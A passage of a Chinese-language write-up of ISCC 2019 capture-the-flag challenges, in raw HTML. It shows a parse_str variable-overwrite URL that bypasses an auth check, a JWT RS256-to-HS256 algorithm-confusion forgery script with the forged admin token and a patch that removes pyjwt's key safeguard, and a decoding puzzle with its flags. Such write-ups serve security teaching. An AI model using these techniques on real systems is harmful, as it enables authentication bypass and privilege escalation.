<div id="crayon-5d0fe351b3bf4710569863-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">parsed</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_url</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">_SERVER</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;REQUEST_URI&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf4710569863-3" class="crayon-line"><span class="crayon-e">print_r</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;query&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf4710569863-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">parsed_query</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_str</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;query&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf4710569863-5" class="crayon-line"><span class="crayon-e">print_r</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">a</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">如果你访问的是</span><span spellcheck="false"><code>http://127.0.0.1/1.php?query=&amp;a=b</code></span><span class="md-plain">，那么会导致</span><span spellcheck="false"><code>$a</code></span><span class="md-plain">的值被覆盖为</span><span spellcheck="false"><code>b</code></span><span class="md-plain">，因为</span><span spellcheck="false"><code>parse_str</code></span><span class="md-plain">的作用就是解析字符串并且注册成变量，它在注册变量之前不会验证当前变量是否存在，所以会直接覆盖掉当前作用域中原有的变量。</span></p>
<p class="md-end-block md-p"><span class="md-plain">那么再来看这道题就比较明朗，最关键的在于</span><span spellcheck="false"><code>$hashed_input</code></span><span class="md-plain">要等于</span><span spellcheck="false"><code>$hashed_key</code></span><span class="md-plain">，那么我们构造payload</span></p>
<div id="crayon-5d0fe351b3bf7843026718" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf7843026718-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf7843026718-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//39.100.83.188:8066/?query=&amp;hashed_key=ca978112ca1bbdcafac231b39a23dc4da786eff8147c4e72b9807785afee48bb&amp;action=auth&amp;key=a</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">将</span><span spellcheck="false"><code>hashed_key</code></span><span class="md-plain">的值覆盖为字符串</span><span spellcheck="false"><code>a</code></span><span class="md-plain">加密的sha256，然后此时再传入</span><span spellcheck="false"><code>key=a</code></span><span class="md-plain">这样满足条件即输出</span><span spellcheck="false"><code>flag{7he_rea1_f1@g_15_4ere}</code></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web6</span></h1>
<p class="md-end-block md-p"><span class="md-plain">题目地址: </span><span class="md-link"><a href="http://39.100.83.188:8053/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8053/</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">查看源代码中出现接口，</span><span spellcheck="false"><code>http://39.100.83.188:8053/static/js/common.js</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">发现一段疑似公钥加密方式的代码，先记住</span></p>
<div id="crayon-5d0fe351b3bf9763512350" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf9763512350-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf9763512350-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf9763512350-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf9763512350-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf9763512350-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf9763512350-6">6</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf9763512350-1" class="crayon-line"><span class="crayon-t">function</span> <span class="crayon-e">getpubkey</span><span class="crayon-sy">(</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf9763512350-2" class="crayon-line crayon-striped-line">  <span class="crayon-c">/* </span></div>
<div id="crayon-5d0fe351b3bf9763512350-3" class="crayon-line"><span class="crayon-c">    get the pubkey for test</span></div>
<div id="crayon-5d0fe351b3bf9763512350-4" class="crayon-line crayon-striped-line"><span class="crayon-c">    /pubkey/{md5(username+password)}</span></div>
<div id="crayon-5d0fe351b3bf9763512350-5" class="crayon-line"><span class="crayon-c">    */</span></div>
<div id="crayon-5d0fe351b3bf9763512350-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">提示只有admin可以看到信息，登录注册，抓包发现有header中多了</span></p>
<div id="crayon-5d0fe351b3bfb287328556" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bfb287328556-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bfb287328556-1" class="crayon-line"><span class="crayon-v">Authorization</span><span class="crayon-o">:</span> <span class="crayon-e"><span class="wpcom_tag_link"><a href="/tags/iscc" title="iscc" target="_blank">iscc</a></span>19 </span><span class="crayon-v">eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="crayon-sy">.</span><span class="crayon-v">eyJuYW1lIjoiY2h1eXUiLCJwcml2Ijoib3RoZXIifQ</span><span class="crayon-sy">.</span><span class="crayon-v">V9XN_nMg</span><span class="crayon-o">&#8211;</span><span class="crayon-v">xQ1rufh21aCmEwm56yf__B0AGTXyWcEEO9Xdz8bhouh6waZfuaQhHM6VSHqiQEAuYE67JaCgnj9k5hyRavU4gkf1DzVexTJtC9qhcD8tzPOsxCp8KtU96Czln1mSDn03siU9rEQ1vzUtU68R1vIk6tIxTr</span><span class="crayon-o">&#8211;</span><span class="crayon-v">tzeKu4k</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">考点应该是jwt(Json Web Token攻击)，加解密地址</span><span class=" md-link"><a spellcheck="false" href="https://jwt.io/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">https://jwt.io/</span></a></span></p>
<p class="md-end-block md-p"><span class="md-plain">jwt解码后分为3个部分，由三个点（.）分隔</span></p>
<p class="md-end-block md-p"><span class="md-plain">分别为：</span></p>
<div id="crayon-5d0fe351b3bfd522037431" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bfd522037431-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bfd522037431-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bfd522037431-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bfd522037431-1" class="crayon-line"><span class="crayon-e">Header</span></div>
<div id="crayon-5d0fe351b3bfd522037431-2" class="crayon-line crayon-striped-line"><span class="crayon-e">Payload</span></div>
<div id="crayon-5d0fe351b3bfd522037431-3" class="crayon-line"><span class="crayon-v">Signature</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">解密下iscc19后面的那段</span></p>
<p class="md-end-block md-p"><span class="md-plain">算法</span></p>
<div id="crayon-5d0fe351b3bfe392201185" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bfe392201185-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bfe392201185-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bfe392201185-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bfe392201185-4">4</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bfe392201185-1" class="crayon-line"><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bfe392201185-2" class="crayon-line crayon-striped-line"> <span class="crayon-s">&#8220;alg&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;RS256&#8221;</span><span class="crayon-sy">,</span></div>
<div id="crayon-5d0fe351b3bfe392201185-3" class="crayon-line"> <span class="crayon-s">&#8220;typ&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;JWT&#8221;</span></div>
<div id="crayon-5d0fe351b3bfe392201185-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">payload</span></p>
<div id="crayon-5d0fe351b3c00013168367" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c00013168367-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c00013168367-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c00013168367-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c00013168367-4">4</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c00013168367-1" class="crayon-line"><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3c00013168367-2" class="crayon-line crayon-striped-line"> <span class="crayon-s">&#8220;name&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;chuyu&#8221;</span><span class="crayon-sy">,</span></div>
<div id="crayon-5d0fe351b3c00013168367-3" class="crayon-line"> <span class="crayon-s">&#8220;priv&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;other&#8221;</span></div>
<div id="crayon-5d0fe351b3c00013168367-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">具体的攻击原理我贴一段百度的。</span></p>
<blockquote>
<p class="md-end-block md-p"><span class="md-plain">我们知道JWT的header部分中，有签名算法标识alg</span></p>
<p class="md-end-block md-p"><span class="md-plain">而alg是用于签名算法的选择，最后保证用户的数据不被篡改。</span></p>
<p class="md-end-block md-p"><span class="md-plain">但是在数据处理不正确的情况下，可能存在alg的恶意篡改</span></p>
<p class="md-end-block md-p"><span class="md-plain">例如由于网站的不严谨，我们拿到了泄露的公钥pubkey</span></p>
<p class="md-end-block md-p"><span class="md-plain">我们知道如果签名算法为RS256，那么会选择用私钥进行签名，用公钥进行解密验证</span></p>
<p class="md-end-block md-p"><span class="md-plain">假设我们只拿到了公钥，且公钥模数极大，不可被分解，那么如何进行攻击呢？</span></p>
<p class="md-end-block md-p"><span class="md-plain">没有私钥我们是几乎不可能在RS256的情况下篡改数据的，因为第三部分签名需要私钥，所以我们可以尝试将RS256改为HS256</span></p>
<p class="md-end-block md-p"><span class="md-plain">此时即非对称密码变为对称加密</span></p>
<p class="md-end-block md-p"><span class="md-plain">我们知道非对称密码存在公私钥问题</span></p>
<p class="md-end-block md-p"><span class="md-plain">而对称加密只有一个key</span></p>
<p class="md-end-block md-p"><span class="md-plain">此时如果以pubkey作为key对数据进行篡改，则会非常简单，而如果后端的验证也是根据header的alg选择算法，那么显然正中下怀。</span></p>
</blockquote>
<p class="md-end-block md-p"><span class="md-plain">首先我们要拿到公钥</span><span spellcheck="false"><code>/pubkey/{md5(username+password)}</code></span><span class="md-plain">也就是这个链接，对于我的用户名和密码都是</span><span spellcheck="false"><code>chuyu</code></span><span class="md-plain">，那么应该是这样的</span><span class="md-link"><a href="http://39.100.83.188:8053/pubkey/93a18e397fc3beb55420bf4656b18720" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8053/pubkey/93a18e397fc3beb55420bf4656b18720</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">拿到</span></p>
<div id="crayon-5d0fe351b3c02184524742" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c02184524742-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c02184524742-1" class="crayon-line"><span class="crayon-sy">{</span><span class="crayon-s">&#8220;pubkey&#8221;</span><span class="crayon-o">:</span><span class="crayon-s">&#8220;&#8212;&#8211;BEGIN PUBLIC KEY&#8212;&#8211;\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n&#8212;&#8211;END PUBLIC KEY&#8212;&#8211;&#8220;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8220;result&#8221;</span><span class="crayon-o">:</span><span class="crayon-t">true</span><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">由于公钥有时可以被攻击者获取到，所以攻击者可以修改header中算法为HS256，然后使用RSA公钥对数据进行签名。</span> <span class="md-plain">后端代码会使用RSA公钥+HS256算法进行签名验证。</span> <span class="md-plain">即更改算法为HS256，此时即不存在公钥私钥问题，因为对称密码算法只有一个key</span> <span class="md-plain">此时即我们可以任意访问的pubkey</span> <span class="md-plain">故此我立刻写出了构造脚本</span></p>
<div id="crayon-5d0fe351b3c04002910102" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c04002910102-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c04002910102-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c04002910102-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c04002910102-1" class="crayon-line"><span class="crayon-e">import </span><span class="crayon-e">jwt</span></div>
<div id="crayon-5d0fe351b3c04002910102-2" class="crayon-line crayon-striped-line"><span class="crayon-m">public</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-s">&#8216;&#8212;&#8211;BEGIN PUBLIC KEY&#8212;&#8211;\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDMRTzM9ujkHmh42aXG0aHZk/PK\nomh6laVF+c3+D+klIjXglj7+/wxnztnhyOZpYxdtk7FfpHa3Xh4Pkpd5VivwOu1h\nKk3XQYZeMHov4kW0yuS+5RpFV1Q2gm/NWGY52EaQmpCNFQbGNigZhu95R2OoMtuc\nIC+LX+9V/mpyKe9R3wIDAQAB\n&#8212;&#8211;END PUBLIC KEY&#8212;&#8211;&#8216;</span><span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c04002910102-3" class="crayon-line"><span class="crayon-e">print </span><span class="crayon-v">jwt</span><span class="crayon-sy">.</span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-sy">{</span><span class="crayon-s">&#8220;name&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;chuyu&#8221;</span><span class="crayon-sy">,</span><span class="crayon-s">&#8220;priv&#8221;</span><span class="crayon-o">:</span> <span class="crayon-s">&#8220;admin&#8221;</span><span class="crayon-sy">}</span><span class="crayon-sy">,</span> <span class="crayon-v">key</span><span class="crayon-o">=</span><span class="crayon-m">public</span><span class="crayon-sy">,</span> <span class="crayon-v">algorithm</span><span class="crayon-o">=</span><span class="crayon-s">&#8216;HS256&#8217;</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">将</span><span spellcheck="false"><code>priv</code></span><span class="md-plain">改为admin，输出</span></p>
<div id="crayon-5d0fe351b3c05473933559" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c05473933559-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c05473933559-1" class="crayon-line"><span class="crayon-v">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</span><span class="crayon-sy">.</span><span class="crayon-v">eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ</span><span class="crayon-sy">.</span><span class="crayon-v">Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class=""><strong><span class="md-plain">ps:jwt包应该这样安装pip2 install pyjwt</span></strong></span></p>
<p class="md-end-block md-p"><span class="md-plain">报错</span><span spellcheck="false"><code>'The specified key is an asymmetric key or x509 certificate and'</code></span><span class="md-plain">修改</span><span spellcheck="false"><code>/usr/local/lib/python2.7/dist-packages/jwt/algorithms.py</code></span><span class="md-plain">的151行</span><span class=""><strong><span class="md-plain">prepare_key()</span></strong></span><span class="md-plain">为如下</span></p>
<div id="crayon-5d0fe351b3c07673995632" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c07673995632-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c07673995632-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c07673995632-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c07673995632-1" class="crayon-line"><span class="crayon-e">def </span><span class="crayon-e">prepare_key</span><span class="crayon-sy">(</span><span class="crayon-r">self</span><span class="crayon-sy">,</span> <span class="crayon-v">key</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c07673995632-2" class="crayon-line crayon-striped-line">    <span class="crayon-v">key</span> <span class="crayon-o">=</span> <span class="crayon-e">force_bytes</span><span class="crayon-sy">(</span><span class="crayon-v">key</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c07673995632-3" class="crayon-line">    <span class="crayon-st">return</span> <span class="crayon-v">key</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">然后输出</span><span spellcheck="false"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiY2h1eXUiLCJwcml2IjoiYWRtaW4ifQ.Moa94NN1yEun6lmsEaQeaMGnUt0X_b_McQWhSSe7O_M</code></span><span class="md-plain">，修改头为这个访问</span><span spellcheck="false"><code>/list</code></span><span class="md-plain">拿到admin的信息</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190515150712.png"><img src="https://y4er.com/img/uploads/20190515150712.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">访问拿到flag</span></p>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190515150826.png"><img src="https://y4er.com/img/uploads/20190515150826.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">隐藏的信息</span></h1>
<p class="md-end-block md-p"><span class="md-plain">8进制转十进制，然后base64解密。直接上解密脚本</span></p>
<div id="crayon-5d0fe351b3c09196914221" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c09196914221-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c09196914221-8">8</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c09196914221-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">code</span><span class="crayon-o">=</span><span class="crayon-s">&#8216;0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">code</span><span class="crayon-o">=</span> <span class="crayon-e">explode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216; &#8216;</span><span class="crayon-sy">,</span><span class="crayon-sy">$</span><span class="crayon-v">code</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-3" class="crayon-line"><span class="crayon-c">//print_r($code);</span></div>
<div id="crayon-5d0fe351b3c09196914221-4" class="crayon-line crayon-striped-line"><span class="crayon-i">echo</span> <span class="crayon-s">&#8216;&lt;br&gt;&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-5" class="crayon-line"><span class="crayon-st">foreach</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-e">code </span><span class="crayon-st">as</span> <span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3c09196914221-6" class="crayon-line crayon-striped-line">  <span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-o">=</span><span class="crayon-e">octdec</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-7" class="crayon-line">  <span class="crayon-e">echo </span><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3c09196914221-8" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span spellcheck="false"><code>V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K</code></span></p>
<p class="md-end-block md-p"><span class="md-plain">解密后</span></p>
<div id="crayon-5d0fe351b3c0b612403260" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c0b612403260-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0b612403260-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3c0b612403260-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3c0b612403260-4">4</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3c0b612403260-1" class="crayon-line"><span class="crayon-e">Well </span><span class="crayon-v">done</span><span class="crayon-o">!</span></div>
<div id="crayon-5d0fe351b3c0b612403260-2" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3c0b612403260-3" class="crayon-line"><span class="crayon-v">Flag</span><span class="crayon-o">:</span> <span class="crayon-e">ISCC</span><span class="crayon-sy">{</span><span class="crayon-v">N0_0ne_can_st0p_y0u</span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3c0b612403260-4" class="crayon-line crayon-striped-line">​</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h1 class="md-end-block md-heading"><span class="md-plain">Welcome</span></h1>
<p class="md-end-block md-p"><span class="md-plain">下载下来是无后缀文件，加zip后缀，解压出welcome.txt</span></p>
<div id="crayon-5d0fe351b3c0d091564631" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3c0d091564631-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
